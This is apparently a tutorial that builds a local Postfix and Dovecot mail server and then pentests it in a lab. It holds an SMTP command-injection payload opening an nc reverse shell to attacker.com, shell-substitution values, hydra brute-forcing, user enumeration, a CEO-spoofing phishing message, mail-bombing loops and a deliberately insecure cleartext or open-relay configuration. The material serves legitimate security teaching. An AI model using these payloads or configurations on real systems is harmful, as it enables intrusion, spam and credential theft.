Building an SMTP Server from Scratch: From Protocol to Pentesting
What is SMTP at the Protocol Level?
SMTP is just TCP socket communication on port 25 with a specific command structure. When you "build an SMTP server," you're creating a daemon that:
- Listens on a TCP socket (port 25)
- Accepts connections from clients (other mail servers or mail clients)
- Speaks the SMTP protocol (a text-based command/response dialogue)
- Stores the mail data somewhere (filesystem, database, whatever)
The SMTP Conversation
[Client connects to your server:25]
Server: 220 mail.yourserver.com ESMTP Postfix
Client: EHLO client.domain.com
Server: 250-mail.yourserver.com
250-PIPELINING
250-SIZE 10240000
250-AUTH PLAIN LOGIN
250 STARTTLS
Client: MAIL FROM:<sender@domain.com>
Server: 250 Ok
Client: RCPT TO:<recipient@yourserver.com>
Server: 250 Ok
Client: DATA
Server: 354 End data with <CR><LF>.<CR><LF>
Client: Subject: Test
This is the email body.
.
Server: 250 Ok: queued as 3F2A51234
Client: QUIT
Server: 221 Bye
Every line is ASCII text over TCP. That's it. No magic.
The Architecture: What Each Component Actually Does
When people say "SMTP server," they actually mean three separate systems:
1. MTA (Mail Transfer Agent) — Postfix/Sendmail/Exim
What it does:
- Receives SMTP connections on port 25 (from other servers) or 587 (from authenticated clients)
- Validates commands (EHLO, MAIL FROM, RCPT TO, DATA)
- Decides whether to accept the mail (relay rules, spam checks)
- Queues accepted mail in
/var/spool/postfix/ - Delivers mail either locally or remotely via DNS MX lookup
The actual flow inside Postfix:
SMTP connection → smtpd process → cleanup process → qmgr (queue manager) → local/smtp delivery agent
Each step is a separate process communicating via Unix sockets in /var/spool/postfix/.
2. MDA (Mail Delivery Agent) — Dovecot LDA/Maildrop
What it does:
- Takes mail from the MTA's local delivery agent
- Writes it to the user's mailbox (either mbox or Maildir format)
Maildir vs mbox:
- mbox: Single file
/var/mail/usernamewith all emails concatenated (one file gets corrupted = all mail lost) - Maildir: Directory
~/Maildir/with each email as a separate file (better for concurrent access, safer)
3. IMAP/POP3 Server — Dovecot
What it does:
- Reads mail from the Maildir/mbox storage
- Serves it to mail clients via POP3 (port 110) or IMAP (port 143/993)
IMAP is also a text protocol:
Client: A001 LOGIN username password
Server: A001 OK Logged in
Client: A002 SELECT INBOX
Server: * 3 EXISTS
* 0 RECENT
A002 OK [READ-WRITE] Select completed
Client: A003 FETCH 1 BODY[]
Server: * 1 FETCH (BODY[] {342}
[email headers and body]
)
A003 OK Fetch completed
The Data Flow (End-to-End)
Let's trace what happens when alice@localhost sends mail to bob@localhost:
Where the Vulnerabilities Live
Attack Surface 1: SMTP Protocol Itself
- Open relay: If you don't validate RCPT TO, attackers use you to spam
- Header injection: If you don't sanitize headers, inject Bcc: or To: fields
- Command injection: If you pass unsanitized data to shell scripts
Attack Surface 2: Authentication
- Brute force: SMTP AUTH with weak passwords
- Plaintext AUTH over unencrypted connection: AUTH PLAIN sends base64-encoded password (trivial to decode)
Attack Surface 3: Mail Storage
- Directory traversal: If Maildir paths aren't sanitized
- Symlink attacks: User creates ~/Maildir/ as symlink to /etc/
- Quota bypass: Fill disk with spam if no limits
Attack Surface 4: IMAP/POP3
- Authentication bypass: Vulnerabilities in Dovecot auth mechanisms
- Information disclosure: List other users' mailboxes if permissions wrong
- DoS: Request massive FETCH ranges to exhaust memory
Why Postfix is Designed This Way
Postfix uses a multi-process privilege-separated architecture:
runs as root] --> S[smtpd
postfix user] M --> C[cleanup
postfix user] M --> Q[qmgr
postfix user] M --> L[local
setuid to target user] S -.can't write to mail.-> X[X] C -.sanitizes input.-> Y[Security] L -.minimal permissions.-> Y style M fill:#ff6b6b,color:#fff style S fill:#4CAF50,color:#fff style C fill:#4CAF50,color:#fff style Q fill:#4CAF50,color:#fff style L fill:#2196F3,color:#fff
Why?
- If smtpd is compromised via a buffer overflow, attacker only gets postfix user privileges
- Can't directly write to mailboxes (needs to go through queue)
- Each process has minimal permissions (principle of least privilege)
Compare to old Sendmail (monolithic, ran as root, infamous for security bugs).
Installation & Configuration
Prerequisites
# Fresh Ubuntu/Debian system
sudo apt update
sudo apt install postfix dovecot-core dovecot-imapd mailutils telnet -y
During Postfix install:
- Choose: "Local only"
- System mail name: localhost
Component 1: MTA (Postfix) - The SMTP Engine
File: /etc/postfix/main.cf
Delete everything, replace with this:
myhostname = localhost
mydomain = localdomain
myorigin = $mydomain
inet_interfaces = localhost
inet_protocols = ipv4
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
home_mailbox = Maildir/
mynetworks = 127.0.0.0/8
smtpd_relay_restrictions = permit_mynetworks, reject_unauth_destination
mailbox_command = /usr/lib/dovecot/dovecot-lda -f "$SENDER" -a "$RECIPIENT"
What each section does:
- myhostname: When Postfix says "220 localhost ESMTP", this is what it announces
- inet_interfaces = localhost: Only bind to 127.0.0.1 (not exposed to network)
- mydestination: List of domains Postfix considers "local"
- home_mailbox = Maildir/: Store mail in /home/username/Maildir/
- mynetworks = 127.0.0.0/8: Only localhost can send mail without authentication
- mailbox_command: Hand off to Dovecot's LDA instead of Postfix writing directly
File: /etc/postfix/master.cf
Add SMTP submission port (587) for authenticated sending:
submission inet n - y - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=may
-o smtpd_sasl_auth_enable=yes
-o smtpd_sasl_type=dovecot
-o smtpd_sasl_path=private/auth
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
What this does:
- Opens port 587 (submission port for mail clients)
- Requires SASL authentication (via Dovecot)
- Rejects unauthenticated relay attempts
Restart Postfix
sudo systemctl restart postfix
sudo systemctl status postfix
Test it
telnet localhost 25
You should see:
220 localhost ESMTP Postfix
Component 2: MDA (Dovecot LDA) - Mail Storage
File: /etc/dovecot/conf.d/10-mail.conf
mail_driver = maildir
mail_home = /home/%{user | username}
mail_path = %{home}/Maildir
File: /etc/dovecot/conf.d/10-auth.conf
auth_allow_cleartext = yes
auth_mechanisms = plain login
File: /etc/dovecot/conf.d/10-master.conf
service auth {
unix_listener /var/spool/postfix/private/auth {
mode = 0660
user = postfix
group = postfix
}
}
What this does:
Creates a Unix socket at /var/spool/postfix/private/auth where Postfix connects to validate SMTP AUTH credentials. Dovecot handles the actual password checking.
File: /etc/dovecot/conf.d/10-ssl.conf
ssl = no
Restart Dovecot
sudo systemctl restart dovecot
sudo systemctl status dovecot
Create Test Users
sudo adduser alice
sudo adduser bob
# Set simple passwords (e.g., "password")
Testing the Full Stack
Test 1: Send Mail (Alice → Bob)
su - alice
echo "Test message from Alice" | mail -s "Test Subject" bob@localhost
exit
What happens internally:
- mail command connects to Postfix on localhost:25
- Postfix receives: MAIL FROM:<alice@localhost>, RCPT TO:<bob@localhost>
- Postfix sees bob@localhost is in mydestination → local delivery
- Postfix executes: /usr/lib/dovecot/dovecot-lda -f alice@localhost -a bob@localhost
- Dovecot LDA writes to /home/bob/Maildir/new/1234567890.Vfd01I4M1234.localhost
Test 2: Check Mail Arrived
su - bob
ls ~/Maildir/new/
Test 3: Retrieve via IMAP (Manual Protocol)
telnet localhost 143
Login:
A001 LOGIN bob password
Select inbox:
A002 SELECT INBOX
Fetch the message:
A003 FETCH 1 BODY[]
Pentesting Your SMTP Server
Now that it's working, let's break it.
1. Open Relay Test
telnet localhost 25
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@gmail.com>
DATA
.
Should get: 554 5.7.1 Relay access denied (if properly configured)
To intentionally break:
Edit /etc/postfix/main.cf:
mynetworks = 0.0.0.0/0
Real-world impact: Spammers will find the server within hours and blacklist the IP globally.
2. SMTP User Enumeration
telnet localhost 25
VRFY alice
VRFY nonexistentuser
VRFY bob
Expected responses:
252 2.0.0 alice= User exists550 5.1.1 nonexistentuser... User unknown= User doesn't exist
Automated enumeration:
smtp-user-enum -M VRFY -U users.txt -t localhost
Mitigation:
Disable VRFY in /etc/postfix/main.cf:
disable_vrfy_command = yes
3. Header Injection Attack
telnet localhost 25
MAIL FROM:<alice@localhost>
RCPT TO:<bob@localhost>
DATA
Subject: Innocent Subject
Bcc: attacker@evil.com
From: admin@localhost
This email will be sent to bob AND attacker@evil.com
.
4. SMTP Command Injection
MAIL FROM:<$(whoami)@localhost>
RCPT TO:<bob@localhost>
DATA
Test
.
Check the logs:
sudo grep "whoami" /var/log/mail.log
More dangerous tests:
MAIL FROM:<`id`@localhost>
MAIL FROM:<;nc -e /bin/sh attacker.com 4444;@localhost>
5. SMTP AUTH Brute Force
Manual test:
telnet localhost 587
EHLO test
AUTH LOGIN
Automated brute force:
hydra -l bob -P /usr/share/wordlists/rockyou.txt smtp://localhost:587
Mitigation: Install fail2ban
sudo apt install fail2ban -y
sudo nano /etc/fail2ban/jail.local
Add:
[postfix-sasl]
enabled = true
port = smtp,submission
filter = postfix[mode=auth]
logpath = /var/log/mail.log
maxretry = 3
bantime = 3600
6. Mail Bombing / DoS
Send huge email:
# Generate 10MB file
dd if=/dev/urandom bs=1M count=10 | base64 > large.txt
telnet localhost 25
MAIL FROM:<alice@localhost>
RCPT TO:<bob@localhost>
DATA
# Paste contents of large.txt
.
Send thousands of emails:
for i in {1..1000}; do
echo "Bomb $i" | mail -s "Bomb $i" bob@localhost
done
Mitigation:
Set limits in /etc/postfix/main.cf:
message_size_limit = 10240000 # 10MB max
mailbox_size_limit = 51200000 # 50MB mailbox max
7. IMAP Authentication Bypass
Capture IMAP traffic:
# Capture traffic
sudo tcpdump -i lo -A port 143 -w imap.pcap &
# Login via IMAP
telnet localhost 143
A001 LOGIN bob password
# Stop capture
sudo pkill tcpdump
# Read the capture
strings imap.pcap | grep -A2 LOGIN
Password appears in plaintext.
8. Directory Traversal in Maildir
# Create malicious user
sudo adduser "../../tmp/pwned"
Send mail to that user:
echo "Exploit" | mail -s "Test" ../../tmp/pwned@localhost
Check if mail was written outside home directory:
ls -la /tmp/pwned
9. Spoofing Sender Address
telnet localhost 25
MAIL FROM:<admin@localhost>
RCPT TO:<bob@localhost>
DATA
From: CEO <ceo@company.com>
To: bob@localhost
Subject: Urgent - Send me your password
Bob, I need your password immediately for an audit.
.
Bob receives mail that looks like it's from the CEO.
10. SMTP Timing Attack
# timing_attack.py
import socket
import time
def check_user(username):
s = socket.socket()
s.connect(('localhost', 25))
s.recv(1024)
start = time.time()
s.send(f"VRFY {username}
".encode())
response = s.recv(1024)
elapsed = time.time() - start
s.close()
return elapsed, response
print("alice:", check_user("alice"))
print("fakeuser:", check_user("fakeuser"))
print("bob:", check_user("bob"))
Valid users might respond slower (database lookup) vs invalid users (immediate reject).
Attack Cheat Sheet
| Attack | Command | Expected Result |
|---|---|---|
| Open Relay | telnet localhost 25 → send to external domain | Relay access denied |
| User Enum | smtp-user-enum -M VRFY -U users.txt -t localhost | Valid vs invalid responses |
| Brute Force | hydra -l bob -P rockyou.txt smtp://localhost:587 | Successful auth |
| Header Inject | Inject Bcc: in subject | Extra recipients |
| DoS | Send 1000+ emails or 10MB email | Disk full / crash |
| IMAP Sniff | tcpdump port 143 → login | Password in plaintext |
| Spoof Sender | MAIL FROM:<fake@domain.com> | Spoofed From header |
| Command Inject | MAIL FROM:<$(whoami)@localhost> | Command execution |
| Dir Traversal | adduser "../../tmp/pwned" | File outside home dir |
| Timing Attack | Compare VRFY response times | Username enumeration |
Monitoring Attacks
Watch logs in real-time:
# Terminal 1: Attack
telnet localhost 25
# Terminal 2: Watch Postfix logs
sudo journalctl -u postfix -f
# Terminal 3: Watch Dovecot logs
sudo journalctl -u dovecot -f
Check mail queue:
mailq # See queued messages
postqueue -p # Detailed queue
postsuper -d ALL # Delete all queued mail
Final Architecture Diagram
port 25] B -->|SMTP commands| C[Postfix cleanup
sanitize, add headers] C -->|queue| D[Postfix qmgr
/var/spool/postfix/] D -->|local delivery| E[Postfix local] E -->|dovecot-lda| F[Dovecot LDA] F -->|write| G[/home/bob/Maildir/new/] H[Bob's IMAP Client] -->|port 143| I[Dovecot IMAP] I -->|read| G I -->|deliver| H style B fill:#ff6b6b,color:#fff style F fill:#4CAF50,color:#fff style G fill:#2196F3,color:#fff style I fill:#4CAF50,color:#fff
Key Takeaways
- SMTP is just TCP text protocol - no magic involved
- Mail server = MTA (Postfix) + MDA (Dovecot LDA) + IMAP (Dovecot)
- Postfix uses privilege separation - each component runs with minimal permissions
- Attack surfaces: protocol abuse, authentication weaknesses, storage vulnerabilities
- Defense: relay restrictions, rate limiting, input sanitization, quotas
- Building and breaking teaches you more than reading documentation
Understanding how mail servers work at the protocol level is essential for both secure configuration and penetration testing. From raw TCP sockets to full exploitation, hands-on experience reveals vulnerabilities that theory alone never will.
The best way to understand security is to build the system, then try to destroy it.